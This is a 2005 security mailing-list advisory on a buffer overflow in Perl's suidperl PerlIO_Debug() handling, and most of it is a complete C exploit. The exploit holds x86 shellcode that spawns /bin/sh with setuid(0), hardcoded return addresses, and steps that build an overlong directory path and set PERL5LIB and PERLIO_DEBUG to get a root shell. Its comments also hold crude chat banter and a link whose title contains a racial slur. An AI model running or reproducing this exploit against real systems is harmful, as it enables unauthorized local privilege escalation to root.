[UNIX] Perl PerlIO_Debug() Buffer Overflow (Suidperl)

From: SecuriTeam (support_at_securiteam.com)
Date: 02/14/05

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Date: 14 Feb 2005 15:55:04 +0200

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      Perl PerlIO_Debug() Buffer Overflow (Suidperl)
    ------------------------------------------------------------------------

    SUMMARY

    Suidperl is "a Perl interpreter that runs executables with setuid
    privileges". A buffer overflow in Perl's handling of PerlIO_Debug() allows
    a local attacker that can run suidperl to gain elevated privileges.

    DETAILS

    Exploit:
    /*
     * Copyright Kevin Finisterre
     *
     * Setuid perl PerlIO_Debug() overflow
     *
     * Tested on Debian 3.1 perl-suid 5.8.4-5
     *
     * (11:07:20) *corezion:* who is tha man with tha masta plan?
     * (11:07:36) *corezion:* a *** with a buffer overrun
     * (11:07:39) *corezion:* heh
     * (of course that is to the tune of
    http://www.azlyrics.com/lyrics/drdre/niggawittagun.html)
     *
     * cc -o ex_perl2 ex_perl2.c -std=c99
     *
     * kfinisterre@jdam:~$ ./ex_perl2
     * Dirlen: 1052
     * Charlie Murphy!!!@#@
     * sh-2.05b# id
     * uid=1000(kfinisterre) gid=1000(kfinisterre) euid=0(root)
     *
     */

    #include <stdlib.h>
    #include <stdio.h>
    #include <strings.h>
    #include <string.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <unistd.h>

    int main(int *argc, char **argv)
    {
     int len = 23;
      int count = 5;
     char malpath[10000];
     char tmp[256];
     char *filler;
     char *ptr;

     unsigned char code[] =
     /*
       0xff-less execve() /bin/sh by anathema <anathema@hack.co.za>
       Linux/IA32 0xff-less execve() shellcode.
      */
            "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
            "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
            "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
            "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

            // setuid(0) - fix for redhat based machines
     "\x31\xdb" // xorl %ebx,%ebx
     "\x8d\x43\x17" // leal 0x17(%ebx),%eax
     "\xcd\x80" // int $0x80

     "\x89\xe6" /* movl %esp, %esi */
     "\x83\xc6\x30" /* addl $0x30, %esi */
     "\xb8\x2e\x62\x69\x6e" /* movl $0x6e69622e, %eax */
     "\x40" /* incl %eax */
     "\x89\x06" /* movl %eax, (%esi) */
     "\xb8\x2e\x73\x68\x21" /* movl $0x2168732e, %eax */
     "\x40" /* incl %eax */
     "\x89\x46\x04" /* movl %eax, 0x04(%esi) */
     "\x29\xc0" /* subl %eax, %eax */
     "\x88\x46\x07" /* movb %al, 0x07(%esi) */
     "\x89\x76\x08" /* movl %esi, 0x08(%esi) */
     "\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
     "\xb0\x0b" /* movb $0x0b, %al */
     "\x87\xf3" /* xchgl %esi, %ebx */
     "\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
     "\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
     "\xcd\x80" /* int $0x80 */;

     chdir("/tmp/");

     // do one less char than usual for RedHat
     filler = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/";
     
     for (int x=0; x<4; x=x+1)
     {
      mkdir(filler, 0777);
      chdir(filler);
      // do one less char than usual for RedHat
      count = count + 255;
     }

            memset(tmp,0x41,len);
     count = count + len;

            ptr = tmp+len;
            ptr = putLong (ptr, 0xbffffb6a); // frame 11 ebp
            ptr = putLong (ptr, 0xbffffb6a);
            ptr = putLong (ptr, 0xbffffb6a);

     strcat(tmp, "/");
     mkdir(tmp, 0777);
     chdir(tmp);

     printf ("Dirlen: %d\n", count);

     FILE *perlsploit;
     char perldummyfile[] = {
                    "#!/usr/bin/sperl5.8.4\n"
                    "# \n"
                    "# Be proud that perl(1) may proclaim: \n"
                    "# Setuid Perl scripts are safer than C programs ...\n"
                    "# Do not abandon (deprecate) suidperl. Do not advocate C
    wrappers. \n"
            };

            if(!(perlsploit = fopen("take_me.pl","w+"))) {
                    printf("error opening file\n");
                    exit(1);
            }
            fwrite(perldummyfile,sizeof(perldummyfile)-1,1,perlsploit);
            fclose(perlsploit);

     getcwd(malpath, 10000);
     strcat(malpath, "/");
     strcat(malpath, "take_me.pl");
     printf("Charlie Murphy!!!@#@\n");

     chmod(malpath,0755);
            setenv("PERLIO_DEBUG", "/tmp/ninjitsu", 1);
     setenv("PERL5LIB", code, 1);
     execv(malpath,(char *) NULL);

    }
    /*
     * put a address in mem, for little-endian
     *
     */
    char*
    putLong (char* ptr, long value)
    {
        *ptr++ = (char) (value >> 0) & 0xff;
        *ptr++ = (char) (value >> 8) & 0xff;
        *ptr++ = (char) (value >> 16) & 0xff;
        *ptr++ = (char) (value >> 24) & 0xff;

        return ptr;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:kfinisterre@secnetops.biz>
    Kevin Finisterre.

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